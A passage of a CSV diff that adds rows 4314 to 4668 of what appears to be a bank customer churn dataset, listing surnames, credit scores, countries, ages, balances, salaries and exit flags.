+4314,15687079,King,646,Spain,Male,69,10,115462.44,1,1,0,40421.87,0 +4315,15582276,Greco,638,France,Male,34,5,133501.36,1,0,1,155643.04,0 +4316,15763980,Beneventi,632,Germany,Male,30,1,58668.02,1,1,1,78670.52,0 +4317,15720774,P'eng,850,Spain,Male,44,7,89118.26,1,1,0,104240.77,1 +4318,15592194,Metcalf,492,France,Female,28,9,0,2,1,0,95957.09,0 +4319,15803685,Greco,673,Germany,Female,77,10,76510.52,2,0,1,59595.66,0 +4320,15759456,Lupton,609,Spain,Male,34,7,140694.78,2,1,0,46266.63,0 +4321,15611544,Ibeamaka,701,Germany,Male,36,7,95448.32,2,1,0,189085.07,0 +4322,15794257,Hsiung,651,France,Male,34,4,91562.99,1,1,1,123954.15,0 +4323,15681697,Rueda,508,France,Male,31,8,72541.48,1,1,0,129803.08,0 +4324,15579566,Li Fonti,616,Spain,Female,43,3,120867.18,1,1,0,18761.92,1 +4325,15577970,Alexeeva,489,France,Male,34,5,0,1,0,0,43540.59,0 +4326,15727489,Madueke,567,Spain,Female,45,1,157320.51,1,1,0,62193.92,0 +4327,15764284,Torres,714,Spain,Male,27,3,0,3,1,1,129130.09,0 +4328,15581811,Chukwubuikem,678,Germany,Female,30,1,139676.95,2,0,1,16146,0 +4329,15622527,Holloway,581,France,Female,55,6,0,1,1,1,22442.13,0 +4330,15753362,Evdokimov,748,Spain,Male,60,3,0,2,1,1,78194.37,0 +4331,15666652,Anayolisa,781,France,Female,19,3,0,2,1,1,124297.32,0 +4332,15789714,Semmens,691,Spain,Male,21,3,103000.94,1,1,1,104648.58,0 +4333,15771543,Tu,507,Germany,Male,31,2,134237.07,1,1,1,166423.66,1 +4334,15748327,Anderson,724,Germany,Male,34,6,118235.7,2,0,0,157137.23,0 +4335,15754649,Fang,705,Spain,Female,57,3,0,2,1,1,34134.14,0 +4336,15810460,Fanucci,708,Spain,Female,64,5,0,3,0,1,112520.07,1 +4337,15771742,Boyle,580,Germany,Male,38,9,115442.19,2,1,0,128481.5,1 +4338,15642160,Milanesi,850,France,Male,38,5,0,2,1,0,16491.64,0 +4339,15798439,Davidson,714,Spain,Male,25,2,0,1,1,1,132979.43,0 +4340,15605293,McKay,559,France,Female,43,1,0,2,1,1,196645.87,0 +4341,15692631,Bogdanova,577,Spain,Female,44,8,115557,1,0,1,127506.76,0 +4342,15665376,Lavrentiev,647,Germany,Female,35,3,166518.63,2,1,0,147930.46,0 +4343,15772412,Corser,554,Spain,Male,30,6,135370.12,1,1,1,179689.05,1 +4344,15654577,Alexeeva,549,Germany,Male,54,5,92877.33,1,1,0,2619.64,1 +4345,15585427,Madueke,528,France,Female,26,10,102073.67,2,0,0,166799.93,0 +4346,15584536,Barber,720,Germany,Male,46,3,97042.6,1,1,1,133516.51,1 +4347,15585853,McCardle,743,Spain,Male,41,7,0,1,1,0,163736.09,1 +4348,15645271,Radcliffe-Brown,615,Germany,Male,24,8,108528.07,2,0,0,179488.41,1 +4349,15579387,Ni,635,Germany,Female,44,2,79064.85,2,0,1,113291.75,0 +4350,15623107,Chukwumaobim,686,Spain,Male,45,3,74274.87,3,1,0,64907.48,1 +4351,15754072,Dennis,840,Spain,Female,36,6,0,2,1,0,141364.27,0 +4352,15666163,Hayward,695,France,Male,43,1,100421.1,1,1,1,101141.28,0 +4353,15765192,Jones,564,France,Male,26,7,84006.88,2,0,0,183490.99,0 +4354,15804822,L?,805,France,Female,31,4,0,2,1,0,4798.12,0 +4355,15612893,Nelson,558,Spain,Male,45,4,0,1,1,0,131807.14,0 +4356,15593636,Cardus,657,France,Female,39,4,80293.81,1,1,0,97192.76,0 +4357,15693326,Whitehouse,641,France,Female,42,7,125437.14,2,0,0,164128.58,0 +4358,15809901,Johnstone,755,France,Male,36,8,0,2,1,0,176809.87,0 +4359,15759751,Tsui,483,France,Male,48,1,0,2,1,1,110059.38,0 +4360,15605425,Chia,545,Germany,Female,44,2,127536.44,1,1,0,108398.63,0 +4361,15801934,Su,678,France,Male,66,8,0,2,1,1,47117.03,0 +4362,15592000,Calabresi,781,Germany,Female,48,9,82794.18,1,1,0,124720.68,1 +4363,15618695,Ts'ui,571,Spain,Female,22,3,108117.1,1,0,1,53328.7,0 +4364,15637110,McCulloch,634,Spain,Female,35,10,0,1,1,0,82634.41,0 +4365,15727408,Koo,523,Germany,Male,27,8,61688.61,2,1,0,147059.16,0 +4366,15716328,Miller,501,France,Female,40,2,0,2,0,0,141946.92,0 +4367,15669060,Woolnough,662,France,Male,74,6,0,2,1,0,123583.85,0 +4368,15675854,Douglas,573,Spain,Male,50,0,159304.07,1,0,1,155915.24,1 +4369,15621116,Fang,648,Germany,Male,33,5,138664.24,1,1,0,29076.27,0 +4370,15781495,Munro,662,France,Female,22,2,126362.57,2,1,1,97382.8,0 +4371,15740470,Vinogradov,725,France,Male,39,4,160652.45,2,1,0,57643.55,0 +4372,15714391,Lai,563,France,Female,35,2,183572.84,1,1,1,66006.75,1 +4373,15730137,Udegbulam,628,France,Male,31,0,88421.81,1,0,0,72350.47,0 +4374,15596455,Mao,546,Spain,Female,45,2,0,1,0,0,197789.83,1 +4375,15717290,Onyekaozulu,688,Germany,Male,41,2,112871.19,2,0,1,65520.74,0 +4376,15616555,Fu,850,Germany,Male,41,8,60880.68,1,1,0,31825.84,0 +4377,15659820,Cross,614,France,Female,34,5,0,2,1,0,185561.89,0 +4378,15696301,Snider,719,France,Female,37,9,101455.7,1,1,0,25803.59,1 +4379,15771087,Harrison,757,France,Female,71,0,88084.13,2,1,1,154337.47,0 +4380,15808831,Dale,669,France,Male,29,7,0,2,1,1,138145.62,0 +4381,15812241,Udinese,438,Germany,Male,59,7,127197.14,1,1,0,51565.98,1 +4382,15680370,DeRose,492,France,Male,39,7,0,2,0,1,71323.23,0 +4383,15780561,Hay,622,France,Female,39,9,83456.79,2,0,0,38882.34,0 +4384,15800784,Bruce,645,France,Male,42,4,98298.18,1,1,1,676.06,0 +4385,15715796,Romani,728,France,Male,37,0,0,2,1,1,72203.8,0 +4386,15605375,Tseng,651,France,Male,35,2,86911.8,1,1,0,174094.24,0 +4387,15621520,Tang,783,Germany,Female,42,2,139707.28,1,1,0,2150.22,0 +4388,15665460,Isayeva,732,Spain,Female,67,1,0,2,1,1,177783.04,0 +4389,15801152,Hill,553,Spain,Female,39,1,142876.98,2,1,0,44363.42,0 +4390,15756425,Barnes,660,France,Male,30,7,146301.31,1,0,0,96847.91,0 +4391,15674328,Moreno,670,France,Female,40,3,47364.45,1,1,1,148579.43,1 +4392,15742404,McGregor,718,France,Male,38,7,0,2,1,0,38308.34,0 +4393,15757140,Genovese,787,France,Male,51,0,58137.08,1,0,1,142538.31,0 +4394,15570051,Gill,775,Germany,Female,38,6,179886.41,2,0,0,153122.58,0 +4395,15669175,Ts'ai,479,Germany,Male,24,6,107637.97,2,0,1,169505.83,0 +4396,15790324,Green,660,France,Female,20,6,167685.56,1,1,0,57929.9,0 +4397,15691119,Martin,721,Germany,Male,68,4,136525.99,1,0,0,175399.14,0 +4398,15743478,Johnson,659,Germany,Male,39,8,52106.33,2,1,1,107964.36,0 +4399,15707007,Onio,743,France,Female,39,8,0,1,1,0,94263.44,0 +4400,15572547,Vaguine,670,France,Female,45,9,104930.38,1,1,0,155921.81,1 +4401,15567063,Manna,766,Germany,Female,34,6,106434.94,1,0,1,137995.66,1 +4402,15689633,Toomey,845,Spain,Female,38,2,112803.92,1,1,0,179631.85,0 +4403,15720637,Bell,710,Germany,Female,46,10,120530.34,1,1,0,166586.99,1 +4404,15616859,Bonwick,602,Germany,Female,43,2,113641.49,4,1,0,115116.35,1 +4405,15766166,Folliero,604,Spain,Male,43,2,145081.72,1,1,1,23881.62,0 +4406,15617655,Holt,564,Spain,Female,35,9,0,2,1,1,105837.38,0 +4407,15623450,Brown,637,Germany,Female,27,7,135842.89,1,1,1,101418.05,0 +4408,15796612,Ch'ang,527,France,Female,31,1,112203.25,1,1,0,182266.01,0 +4409,15795963,Fiorentini,687,France,Male,34,7,129895.19,1,0,1,28698.17,0 +4410,15781598,Middleton,756,Germany,Male,41,6,149049.92,1,0,1,50422.36,1 +4411,15691871,Millar,503,Germany,Male,42,9,153279.39,1,1,1,151336.96,0 +4412,15740345,Osborne,657,Spain,Male,42,5,41473.33,1,1,0,112979.6,1 +4413,15662626,Feng,666,France,Female,40,2,0,2,0,0,36371.27,0 +4414,15596575,Vale,615,Germany,Male,39,5,113193.51,2,1,1,52166.25,0 +4415,15657321,Arkwookerum,712,Germany,Male,27,8,113174.21,2,1,0,147261.58,0 +4416,15575955,Lujan,764,France,Female,24,0,0,2,1,0,88724.49,0 +4417,15743893,Alexeyeva,471,France,Male,42,3,164951.56,1,1,0,190531.77,0 +4418,15697270,Gannon,608,Spain,Male,27,4,153325.1,1,1,1,199953.33,0 +4419,15644356,Prokhorova,682,Spain,Female,47,10,134032.01,1,1,0,144290.97,0 +4420,15677586,Romero,587,Germany,Female,32,3,125445.04,2,1,1,130514.78,0 +4421,15571261,Toscani,714,Germany,Female,35,6,126077.43,2,1,1,53954.24,0 +4422,15698758,Onwuamaegbu,630,Spain,Female,31,1,0,2,1,1,169802.73,0 +4423,15787014,King,648,Germany,Female,28,8,90371.09,1,1,1,146851.73,0 +4424,15739857,Trentino,785,France,Female,40,3,0,2,1,1,96832.82,0 +4425,15774630,Peacock,601,Germany,Female,47,1,142802.02,1,1,1,57553.02,0 +4426,15805523,Nnaife,717,France,Female,28,1,90537.16,1,0,1,74800.99,0 +4427,15749557,Chao,707,France,Female,44,6,0,2,1,1,192542.17,0 +4428,15681180,Barese,771,France,Female,23,7,156123.73,1,1,0,72990.62,0 +4429,15742028,Udegbulam,602,France,Female,35,5,0,2,1,0,31050.02,0 +4430,15686463,Fu,626,France,Male,38,7,141074.59,1,1,0,52795.56,1 +4431,15654379,Onwuatuegwu,588,Spain,Male,59,4,0,2,1,1,27435.41,0 +4432,15783629,Degtyaryov,616,Germany,Female,42,6,117899.95,2,0,0,150266.81,0 +4433,15751193,Nnaemeka,621,Spain,Male,33,4,0,2,1,1,40299.23,0 +4434,15724099,Udinese,674,France,Male,26,6,166257.96,1,1,1,149369.41,0 +4435,15568429,Mitchell,633,Spain,Female,46,3,0,2,1,0,120250.58,0 +4436,15648967,Ch'en,698,Germany,Female,64,1,169362.43,1,1,0,84760.32,1 +4437,15664498,Golovanov,508,France,Male,26,7,205962,1,1,0,156424.4,0 +4438,15779522,Efimov,736,France,Female,24,0,0,2,1,0,109355.73,1 +4439,15583850,Davidson,672,Germany,Male,68,0,126061.51,2,1,1,184936.77,0 +4440,15696539,Wade,613,France,Female,21,7,105627.95,1,1,1,36560.51,0 +4441,15760121,Maynard,712,France,Male,32,9,100606.02,1,1,0,165693.06,0 +4442,15628279,Murphy,624,France,Female,38,3,0,2,1,1,163666.85,0 +4443,15766163,Zotova,676,France,Male,38,1,0,2,0,1,35644.79,0 +4444,15566467,Hannah,683,Germany,Female,32,0,138171.1,2,1,1,188203.58,0 +4445,15639049,Cartagena,489,France,Female,31,7,139395.08,1,0,1,6120.84,0 +4446,15736413,Hall,739,France,Male,29,1,0,2,1,1,164484.78,0 +4447,15634815,Hunt,701,France,Female,37,3,0,2,1,1,164268.28,0 +4448,15716381,Greece,666,Germany,Female,50,7,109062.28,1,1,1,140136.1,1 +4449,15708162,Thomson,565,Germany,Female,40,1,89994.71,2,0,1,121084.27,0 +4450,15569364,Victor,666,France,Male,36,3,0,2,1,0,35156.54,0 +4451,15791191,Mitchell,633,France,Male,59,2,103996.74,1,1,1,103159.11,0 +4452,15621205,Olisaemeka,578,France,Male,34,4,175111.11,1,1,1,74858.3,0 +4453,15704788,Krawczyk,812,Spain,Female,49,8,66079.45,2,0,0,91556.57,1 +4454,15775756,Alexandrova,809,Germany,Male,33,8,148055.74,1,0,0,199203.21,0 +4455,15641312,Paterson,615,France,Male,36,6,0,1,1,1,27011.8,1 +4456,15782531,Chou,684,Spain,Female,31,8,0,2,1,0,188637.05,0 +4457,15724428,Abel,544,France,Male,40,8,0,2,1,0,61581.2,0 +4458,15743617,Chesnokova,713,Germany,Male,47,1,95994.98,1,1,0,197529.23,0 +4459,15585839,Niu,633,France,Male,37,2,0,2,1,0,182258.17,0 +4460,15658158,Sullivan,672,Germany,Female,23,10,110741.56,1,1,0,80778.5,0 +4461,15637678,Ma,661,France,Male,35,5,0,1,1,0,155394.52,0 +4462,15701809,Cavill,749,Spain,Female,28,3,0,1,1,0,3408.7,0 +4463,15676937,Nicholls,635,Spain,Female,32,8,0,2,1,1,19367.98,1 +4464,15778975,Nnonso,850,Germany,Female,70,1,96947.58,3,1,0,62282.99,1 +4465,15710375,Gibson,641,France,Male,41,6,0,2,1,0,65396.79,0 +4466,15579914,Garcia,633,Germany,Male,30,2,109786.82,2,1,1,139712.81,0 +4467,15595160,Renwick,413,Spain,Male,35,2,0,2,1,1,60972.84,0 +4468,15595391,Norris,538,France,Male,31,1,0,2,1,0,1375.46,0 +4469,15630363,Nkemakonam,437,France,Female,39,0,102721.49,1,0,0,22191.82,0 +4470,15692443,Piccio,612,Spain,Male,33,5,69478.57,1,1,0,8973.67,1 +4471,15593795,Linton,516,Germany,Female,53,1,156674.2,1,1,0,118502.34,1 +4472,15642824,Onyekaozulu,826,Spain,Female,56,8,174506.1,2,0,1,161802.82,1 +4473,15683524,Tobenna,660,Germany,Female,23,6,166070.48,2,0,0,90494.72,0 +4474,15713532,Wang,646,Germany,Female,29,4,105957.44,1,1,0,15470.91,0 +4475,15719827,O'Donnell,767,France,Male,36,3,0,1,0,0,65147.27,0 +4476,15578435,Langlands,640,France,Male,40,8,110340.68,1,1,1,157886.6,0 +4477,15723028,Smith,778,France,Male,33,1,0,2,1,0,85439.73,0 +4478,15595609,Sykes,679,Germany,Male,52,9,135870.01,2,0,0,54038.62,0 +4479,15622443,Marshall,549,France,Male,31,4,0,2,0,1,25684.85,0 +4480,15579112,Gibson,598,France,Male,47,2,0,2,1,1,186116.54,0 +4481,15648479,Stephenson,655,France,Female,45,0,0,2,1,0,166830.71,0 +4482,15659234,Y?,494,France,Male,30,3,85704.95,1,0,1,27886.06,0 +4483,15811970,Kang,653,France,Female,42,1,0,2,1,1,5768.32,0 +4484,15774192,Miller,539,Germany,Female,38,8,105435.74,1,0,0,80575.44,1 +4485,15595136,Kryukov,645,France,Female,37,1,0,2,1,1,68987.55,0 +4486,15630580,Y?,751,Germany,Male,34,9,108513.25,2,1,1,27097.82,0 +4487,15660646,Fanucci,528,France,Male,35,3,156687.1,1,1,0,199320.77,0 +4488,15614365,Lombardi,696,Germany,Male,31,3,150604.52,1,0,0,5566.6,0 +4489,15776128,Hs?,716,France,Female,44,6,155114.9,1,0,0,133871.83,0 +4490,15787035,Anderson,602,France,Female,35,8,0,2,1,1,152843.53,0 +4491,15792646,Trentino,647,Spain,Female,64,1,91216,1,1,1,41800.18,0 +4492,15726832,Donnelly,850,Germany,Male,61,3,141784.02,1,1,1,92053.75,0 +4493,15773260,Tsou,590,France,Female,32,0,127763.24,1,1,0,100717.54,0 +4494,15624437,Johnson,825,Spain,Female,32,1,0,2,1,1,42935.15,0 +4495,15717138,Watson,850,Spain,Male,31,6,82613.56,2,1,0,149170.92,0 +4496,15657317,Allan,789,France,Female,32,7,69423.52,1,1,0,107499.39,0 +4497,15626948,Butcher,701,France,Female,42,6,86167.82,1,1,0,153342.38,0 +4498,15758901,Henderson,713,Spain,Female,47,1,0,1,1,0,107825.08,1 +4499,15777759,Boucaut,570,France,Male,30,2,131406.56,1,1,1,47952.45,0 +4500,15773322,Obiajulu,536,Germany,Female,44,4,121898.82,1,0,0,131007.18,0 +4501,15697318,Ifeatu,771,Germany,Male,32,9,77487.2,1,0,0,33143.04,0 +4502,15678916,Kelly,512,France,Female,75,2,0,1,1,0,123304.62,0 +4503,15632118,Pirozzi,698,Spain,Male,45,5,164450.94,1,1,0,141970.02,1 +4504,15788118,Siciliano,656,France,Male,33,7,138705.02,2,1,0,37136.15,0 +4505,15788930,Silva,761,Spain,Male,37,7,132730.17,1,1,0,199293.01,0 +4506,15628583,Iweobiegbunam,709,France,Female,30,5,0,2,0,1,161388.22,0 +4507,15635177,Williamson,597,Spain,Female,66,3,0,1,1,1,70532.53,0 +4508,15587690,Madueke,592,France,Male,28,2,116498.22,1,1,0,144290.25,0 +4509,15627630,Chiagoziem,599,France,Female,41,1,0,2,1,0,96069.82,0 +4510,15610930,Kwemto,572,Germany,Female,35,1,139979.07,1,1,0,185662.84,0 +4511,15657747,Zito,611,Germany,Female,43,9,127216.31,2,0,1,17913.25,0 +4512,15568006,Ukaegbunam,634,France,Female,45,2,0,4,1,0,101039.53,1 +4513,15751748,Trevisani,666,France,Male,51,2,148222.65,1,0,0,156953.54,1 +4514,15722212,Edmondstone,696,France,Female,41,8,0,2,0,0,28276.83,0 +4515,15658670,Chien,669,France,Female,38,8,0,2,1,0,84049.16,0 +4516,15761654,Boni,726,Spain,Male,30,8,134152.29,1,1,1,147822.44,0 +4517,15812210,Yashina,497,Germany,Female,32,8,111537.23,4,1,1,9497.99,1 +4518,15787051,Georg,750,Spain,Female,39,7,119565.92,1,1,0,87067.73,0 +4519,15642991,Tung,850,Spain,Female,29,7,0,2,1,0,23237.25,0 +4520,15713769,Michelides,617,Spain,Male,38,7,0,1,1,1,27239.28,0 +4521,15605826,Korovina,652,Germany,Male,46,10,121063.8,3,1,0,151481.86,1 +4522,15648898,Chuang,560,Spain,Female,27,7,124995.98,1,1,1,114669.79,0 +4523,15705309,Yuriev,629,Spain,Male,39,5,0,2,0,0,116748.14,0 +4524,15734202,Chidimma,660,Germany,Female,52,4,86891.84,1,1,0,90877.76,0 +4525,15658852,Stevens,676,France,Male,38,8,0,2,1,1,133692.88,0 +4526,15612633,Kao,581,Spain,Male,43,9,78022.61,1,0,1,30662.91,0 +4527,15604818,Edmund la Touche,798,France,Male,34,9,154495.79,1,1,0,191395.88,0 +4528,15593900,Belousov,705,France,Male,38,1,189443.72,1,0,1,106648.58,0 +4529,15624995,McCane,714,Spain,Female,31,6,152926.6,1,1,1,50899.91,0 +4530,15570087,Parry-Okeden,664,France,Female,44,8,142989.69,1,1,1,115452.51,1 +4531,15802617,Hudson,697,Germany,Male,43,7,115371.94,2,1,0,64139.1,0 +4532,15656029,Marsden,609,France,Male,37,6,0,2,0,1,22030.72,0 +4533,15739194,Manfrin,548,Spain,Male,38,0,178056.54,2,1,0,38434.73,0 +4534,15607275,Ch'ang,850,Spain,Male,39,6,206014.94,2,0,1,42774.84,1 +4535,15629475,Clark,656,France,Male,41,2,0,2,1,0,158973.77,0 +4536,15635034,Aldrich,727,Germany,Male,37,9,101191.83,1,1,1,34551.35,1 +4537,15756333,Khan,642,France,Female,55,7,0,2,1,1,101515.76,0 +4538,15777436,Murray,710,Spain,Female,31,5,0,2,1,0,9561.73,0 +4539,15676835,Anayolisa,710,Spain,Male,33,1,0,2,1,0,168313.17,0 +4540,15574206,Shillito,718,France,Female,37,7,0,2,1,1,55100.09,0 +4541,15613017,McMillan,586,Germany,Male,32,1,149814.54,1,1,0,31830.06,0 +4542,15815131,Howells,617,Spain,Female,36,7,115617.24,1,1,1,71519.4,0 +4543,15585455,Stewart,630,France,Male,28,9,0,2,0,0,32599.35,0 +4544,15692929,Ikechukwu,791,Germany,Female,42,10,113657.41,2,0,1,139946.68,1 +4545,15758081,Repina,673,Spain,Male,39,8,138160,1,1,1,110468.51,0 +4546,15667476,Cox,477,Germany,Female,36,3,117700.86,1,0,0,74042,0 +4547,15738248,Lo,662,France,Female,37,5,0,2,1,0,151871.84,0 +4548,15672152,Grant,850,Germany,Male,37,9,122506.38,1,0,1,199693.84,1 +4549,15673372,Stevenson,635,France,Female,58,1,0,1,1,1,58907.08,1 +4550,15587611,Kauffmann,537,France,Male,59,9,0,2,0,0,103799.77,1 +4551,15803415,Samsonova,579,France,Female,39,3,166501.17,2,1,0,93835.64,0 +4552,15715673,Niu,651,Spain,Female,46,4,89743.05,1,1,0,156425.57,1 +4553,15655648,Bock,610,France,Female,25,2,0,2,1,0,123723.83,0 +4554,15763613,Barlow,581,France,Male,30,1,0,2,1,0,199464.08,0 +4555,15660385,Stevenson,592,France,Male,39,7,0,2,1,0,83084.33,0 +4556,15733261,Kung,688,Spain,Female,35,6,0,1,1,0,25488.43,1 +4557,15796231,Nwankwo,681,France,Female,18,1,98894.39,1,1,1,9596.4,0 +4558,15624866,Brewer,658,Germany,Male,37,3,168735.74,2,0,0,70370.24,0 +4559,15623730,Ch'iu,792,France,Male,34,1,0,1,0,1,86330.32,0 +4560,15668248,Quinn,528,Germany,Female,62,7,133201.17,1,0,0,168507.68,1 +4561,15694518,Kodilinyechukwu,624,Spain,Female,36,0,0,2,1,0,111605.9,0 +4562,15638028,Ifeanyichukwu,562,Germany,Male,31,4,127237.25,2,0,1,143317.42,0 +4563,15795895,Yermakova,678,Germany,Male,36,1,117864.85,2,1,0,27619.06,0 +4564,15694376,Sullivan,705,Germany,Female,64,3,153469.26,3,0,0,146573.66,1 +4565,15669204,Grant,650,Germany,Male,23,4,93911.3,2,1,0,69055.45,0 +4566,15773779,Jacka,593,Spain,Female,46,2,76597.79,1,1,1,54453.72,0 +4567,15580682,Tsai,652,France,Female,40,4,79927.36,2,1,1,33524.6,0 +4568,15768530,Emery,554,Spain,Female,27,4,0,2,1,1,135083.73,0 +4569,15672875,Piccio,584,Germany,Male,32,8,40172.91,1,1,1,137439.34,0 +4570,15617082,Sanders,516,France,Male,33,7,115195.58,1,1,1,11205.5,0 +4571,15760514,Sharp,789,Germany,Female,43,9,116644.29,2,1,1,60176.1,0 +4572,15761775,Myers,598,Germany,Male,20,8,180293.84,2,1,1,29552.7,0 +4573,15799964,Campbell,669,Germany,Female,30,7,139872.81,1,1,0,188795.85,0 +4574,15693906,Abbott,645,France,Female,24,3,34547.82,1,1,1,11638.17,0 +4575,15739514,Preston,659,France,Female,32,9,0,2,1,1,93155.75,0 +4576,15756926,Atherton,833,Germany,Male,29,1,96462.25,2,0,1,48986.18,0 +4577,15770984,Fanucci,697,Spain,Female,40,7,130334.35,2,0,1,116951.1,0 +4578,15703979,Evans,580,Germany,Male,39,3,119688.81,1,1,0,137041.26,0 +4579,15801821,Cookson,691,France,Male,38,1,0,2,0,0,44653.5,0 +4580,15711028,Nnachetam,534,France,Male,52,1,0,3,1,1,104035.41,1 +4581,15791842,Johnstone,478,France,Female,32,6,71187.24,1,1,1,110593.62,0 +4582,15746127,Hort,572,France,Female,47,2,0,2,1,0,36099.7,0 +4583,15663625,Johnson,501,France,Male,37,4,0,2,0,0,12470.3,0 +4584,15604891,Zaytseva,624,Spain,Female,38,8,0,2,1,0,95403.41,0 +4585,15589666,Sorokina,595,France,Female,39,9,136422.41,1,1,1,151757.81,0 +4586,15627881,Diehl,603,France,Male,30,8,0,2,1,1,47536.46,0 +4587,15664895,Onuchukwu,602,France,Female,25,0,0,2,1,1,101274.17,0 +4588,15676094,Osonduagwuike,500,France,Female,34,6,0,1,1,1,140268.45,0 +4589,15761720,Mead,422,France,Male,41,6,153238.88,1,1,0,11663.09,0 +4590,15611961,Stewart,615,France,Male,35,7,0,2,1,0,150784.29,0 +4591,15680167,Thomson,635,France,Female,78,6,47536.4,1,1,1,119400.08,0 +4592,15762543,Goliwe,711,France,Female,32,1,0,2,1,0,126188.42,0 +4593,15658475,Lori,834,France,Male,36,8,142882.49,1,1,0,89983.02,1 +4594,15779743,Onwuamaeze,633,France,Female,44,7,0,2,1,0,29761.29,0 +4595,15661532,Butusov,650,France,Female,31,1,160566.11,2,0,0,27073.81,0 +4596,15782360,Rogers,743,Germany,Male,65,2,131935.51,1,1,1,96399.67,1 +4597,15767908,Nicholson,567,France,Male,38,6,127678.8,2,0,0,45422.89,0 +4598,15677105,Rossi,706,Germany,Female,46,4,105214.58,1,1,0,108699.59,1 +4599,15641474,Hall,638,France,Male,46,9,139859.54,1,1,0,38967.29,0 +4600,15624451,Huddart,641,France,Female,38,3,0,2,1,0,116466.19,0 +4601,15577985,Chinomso,574,France,Female,34,5,112324.45,2,1,1,17993.43,0 +4602,15571666,Shaw,642,Germany,Male,30,8,134497.27,1,0,0,43250.54,0 +4603,15783691,Hargreaves,722,Spain,Female,35,1,120171.58,1,1,0,125240.8,0 +4604,15671172,Swain,623,France,Male,23,1,106012.2,2,0,1,191415.94,0 +4605,15731760,Butcher,681,France,Male,25,5,0,1,0,1,90860.97,0 +4606,15585599,Stone,530,France,Female,34,8,0,2,0,1,141872.52,0 +4607,15784958,Allan,797,France,Female,55,10,0,4,1,1,49418.87,1 +4608,15734524,Wang,653,France,Male,51,3,0,1,1,0,170426.65,1 +4609,15614103,Colombo,850,Germany,Male,42,8,119839.69,1,0,1,51016.02,1 +4610,15794895,McKay,581,Spain,Male,34,1,0,2,0,1,81175.25,0 +4611,15772381,Brient,589,Germany,Male,38,8,92219.21,1,1,0,99106.97,0 +4612,15710553,Yin,555,Germany,Male,48,3,142055.41,2,0,1,79134.78,0 +4613,15649292,Bellucci,748,France,Female,49,7,29602.08,1,0,0,163550.58,1 +4614,15792565,Duncan,745,France,Female,46,7,0,2,1,1,67769.94,0 +4615,15718245,Pirozzi,730,France,Male,34,1,0,2,1,1,126592.01,0 +4616,15703117,Findlay,565,France,Female,44,1,0,2,0,1,89602.81,0 +4617,15758136,King,778,France,Male,37,3,141803.77,1,0,1,179421.84,0 +4618,15799932,Iweobiegbunam,812,France,Male,24,10,0,2,1,1,156906.15,0 +4619,15633516,Tucker,526,France,Male,42,1,0,1,0,1,168486.02,0 +4620,15622532,Izmailova,708,France,Female,47,0,126589.12,2,0,1,132730.07,1 +4621,15798960,Meng,680,France,Male,33,2,108393.35,1,0,1,39057.67,0 +4622,15698664,Liang,567,Spain,Male,43,2,115643.58,2,0,0,174606.35,0 +4623,15703614,Hutchinson,564,Spain,Male,48,5,132876.23,1,1,0,79259.77,0 +4624,15699195,Shen,709,France,Female,24,3,110949.41,1,1,1,168515.61,0 +4625,15710543,Okwuoma,629,France,Male,46,1,130666.2,1,1,1,161125.67,1 +4626,15695499,Chinwemma,510,France,Female,45,10,103821.47,2,0,1,77878.62,0 +4627,15622321,Golubova,506,France,Female,32,3,0,1,1,1,80823.02,0 +4628,15715744,Schiavone,605,France,Male,39,7,0,1,0,1,119348.28,0 +4629,15788151,Moore,650,Spain,Male,32,1,132187.73,2,1,1,178331.36,0 +4630,15687153,Graham,850,Germany,Male,49,8,98649.55,1,1,0,119174.88,1 +4631,15684958,Amadi,489,Germany,Male,38,2,126444.08,2,1,1,82662.73,0 +4632,15706116,McKay,659,Germany,Female,30,8,154159.51,1,1,0,40441.1,0 +4633,15740557,Fedorova,753,France,Female,43,5,0,2,1,0,109881.71,0 +4634,15707291,Percy,477,Germany,Male,48,8,129250,2,1,1,157937.35,0 +4635,15583353,Floyd,610,Spain,Female,45,3,0,1,1,0,38276.84,1 +4636,15761024,Long,619,France,Female,33,2,167733.51,2,1,1,65222.48,0 +4637,15630709,Castiglione,619,Germany,Female,31,2,56116.3,2,0,0,2181.94,0 +4638,15639590,Melendez,758,France,Female,30,3,141581.08,1,1,0,156249.06,0 +4639,15659399,Mazzi,516,Germany,Male,50,7,139675.07,2,1,0,45591.23,0 +4640,15567078,Kovaleva,789,France,Female,27,8,66201.96,1,1,1,79458.12,0 +4641,15696373,Gill,687,France,Female,44,9,0,2,0,0,103042.2,1 +4642,15786617,Arcuri,485,Germany,Male,34,3,133658.24,1,1,0,70209.83,0 +4643,15657449,Chukwuma,446,Germany,Male,25,3,136202.78,1,1,0,176743.51,0 +4644,15672594,Stevenson,597,France,Female,60,0,131778.08,1,0,0,10703.53,1 +4645,15714240,Ponomarev,712,Spain,Male,74,5,0,2,0,0,151425.82,0 +4646,15782144,Gilroy,522,France,Female,34,3,0,2,1,1,3894.34,0 +4647,15665008,Sidorov,805,Germany,Female,26,8,42712.87,2,1,1,28861.69,0 +4648,15581733,Bates,781,France,Female,28,4,0,2,1,0,177703.15,0 +4649,15751392,Fanucci,689,Spain,Female,57,4,0,2,1,0,136649.8,1 +4650,15785815,Toscano,670,Germany,Male,31,1,142631.54,2,1,1,175894.24,0 +4651,15664214,Hearn,670,France,Male,33,2,141204.65,2,1,0,76257.46,0 +4652,15579996,Iroawuchi,524,Germany,Female,25,7,131402.21,1,0,0,193668.49,0 +4653,15675252,Martin,734,Spain,Female,39,3,92636.96,2,1,1,125671.29,0 +4654,15579617,Sinclair,489,France,Female,51,3,0,2,0,1,174098.28,1 +4655,15593976,Swanson,578,Germany,Female,31,5,102088.68,4,0,0,187866.21,1 +4656,15716041,Chinomso,622,Spain,Male,39,9,0,2,0,1,100862.36,0 +4657,15654489,Fomin,843,France,Female,38,8,134887.53,1,1,1,10804.04,0 +4658,15736302,McKay,687,France,Male,48,4,0,2,1,1,170893.85,0 +4659,15805909,Bergamaschi,700,Spain,Male,28,8,159900.38,1,0,0,22698.56,0 +4660,15572762,Matveyeva,410,Germany,Female,50,2,102278.79,2,1,0,89822.48,0 +4661,15724632,Madukaego,537,France,Female,41,0,0,2,0,1,175262.49,0 +4662,15670416,Ferri,780,France,Female,43,0,0,1,0,1,15705.27,0 +4663,15749528,Achebe,652,Spain,Male,58,6,0,2,0,1,170025.43,0 +4664,15578783,Mai,620,Germany,Male,35,0,76989.97,1,1,1,17242.79,0 +4665,15580719,Davis,697,France,Female,23,10,0,2,1,1,79734.23,0 +4666,15656293,Davey,786,France,Male,35,3,0,2,1,0,92712.97,0 +4667,15691875,Tsou,850,Germany,Female,39,5,114491.82,1,1,0,99689.48,0 +4668,15596870,Marino,749,Germany,Male,54,3,144768.94,1,1,0,93336.3,1 